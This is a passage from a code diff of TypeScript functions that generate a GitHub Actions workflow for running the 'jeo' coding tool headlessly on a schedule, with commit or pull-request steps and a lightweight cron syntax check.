+
const commitMessage = `jeo routine: ${config.name}`;
|
|
125
|
+
return [
|
|
126
|
+
" - name: Configure git identity",
|
|
127
|
+
" run: |",
|
|
128
|
+
' git config user.name "github-actions[bot]"',
|
|
129
|
+
' git config user.email "github-actions[bot]@users.noreply.github.com"',
|
|
130
|
+
"",
|
|
131
|
+
" - name: Commit any changes directly to this branch",
|
|
132
|
+
" run: |",
|
|
133
|
+
" git add -A",
|
|
134
|
+
` git diff --staged --quiet || (git commit -m ${JSON.stringify(commitMessage)} && git push)`,
|
|
135
|
+
].join("\n");
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
/**
|
|
139
|
+
* Render a complete GitHub Actions workflow YAML document that runs
|
|
140
|
+
* `jeo "<prompt>" -p` headlessly on GitHub's hosted runners, triggered by
|
|
141
|
+
* `config.trigger` (plus an always-present `workflow_dispatch` for manual
|
|
142
|
+
* runs). No YAML library is used — the shape is fixed and simple enough to
|
|
143
|
+
* hand-build as a string, matching this repo's zero-dependency policy.
|
|
144
|
+
*
|
|
145
|
+
* Throws if `config.trigger === "schedule"` and `config.cron` is missing
|
|
146
|
+
* (see {@link renderTriggerBlock}); does not otherwise validate cron syntax
|
|
147
|
+
* — that is {@link validateCron}'s job, run by the command layer before this
|
|
148
|
+
* is ever called.
|
|
149
|
+
*/
|
|
150
|
+
export function renderRoutineWorkflow(config: RoutineConfig): string {
|
|
151
|
+
const triggerBlock = renderTriggerBlock(config); // throws first on schedule+no cron
|
|
152
|
+
const apiKeyVar = config.apiKeyEnvVar ?? "ANTHROPIC_API_KEY";
|
|
153
|
+
const openPr = config.openPr !== false;
|
|
154
|
+
const quotedName = `'${config.name.replace(/'/g, "''")}'`;
|
|
155
|
+
|
|
156
|
+
const lines: string[] = [
|
|
157
|
+
"# Generated by `jeo routine init` (see `jeo routine init --help`).",
|
|
158
|
+
"# Safe to hand-edit afterward — `jeo routine init` will refuse to",
|
|
159
|
+
"# overwrite this file again without --force.",
|
|
160
|
+
`name: ${quotedName}`,
|
|
161
|
+
"",
|
|
162
|
+
triggerBlock,
|
|
163
|
+
"",
|
|
164
|
+
"permissions:",
|
|
165
|
+
" contents: write",
|
|
166
|
+
" pull-requests: write",
|
|
167
|
+
"",
|
|
168
|
+
"jobs:",
|
|
169
|
+
" jeo-routine:",
|
|
170
|
+
" runs-on: ubuntu-latest",
|
|
171
|
+
" steps:",
|
|
172
|
+
" - name: Checkout",
|
|
173
|
+
" uses: actions/checkout@v4",
|
|
174
|
+
" with:",
|
|
175
|
+
" fetch-depth: 0",
|
|
176
|
+
"",
|
|
177
|
+
" - name: Setup Bun",
|
|
178
|
+
" uses: oven-sh/setup-bun@v2",
|
|
179
|
+
" with:",
|
|
180
|
+
' bun-version: "1.3.14"',
|
|
181
|
+
"",
|
|
182
|
+
" - name: Install jeo-code",
|
|
183
|
+
" run: bun install -g jeo-code",
|
|
184
|
+
"",
|
|
185
|
+
renderJeoRunStep(config, apiKeyVar),
|
|
186
|
+
"",
|
|
187
|
+
openPr ? renderOpenPrStep(config) : renderDirectCommitSteps(config),
|
|
188
|
+
"",
|
|
189
|
+
];
|
|
190
|
+
return lines.join("\n");
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
/**
|
|
194
|
+
* Lightweight cron sanity check: exactly 5 whitespace-separated fields, each
|
|
195
|
+
* matching a permissive `*` or `[0-9,-/]+` shape. NOT a full cron-grammar
|
|
196
|
+
* validator (it doesn't understand step-value combos like "star-slash-15",
|
|
197
|
+
* months/weekdays, or range bounds) — just enough to catch an obviously
|
|
198
|
+
* malformed string (wrong field count, stray letters/words) before it
|
|
199
|
+
* reaches GitHub's own (stricter) parser at workflow-run time. Used by the
|
|
200
|
+
* command layer; {@link renderRoutineWorkflow} does not re-validate syntax.
|
|
201
|
+
*/
|
|
202
|
+
export function validateCron(cron: string): boolean {
|
|
203
|
+
const fields = cron.trim().split(/\s+/);
|
|
204
|
+
if (fields.length !== 5) return false;
|
|
205
|
+
return fields.every(f => /^([*]|[0-9,\-\/]+)$/.test(f));
|
|
206
|
+
}
|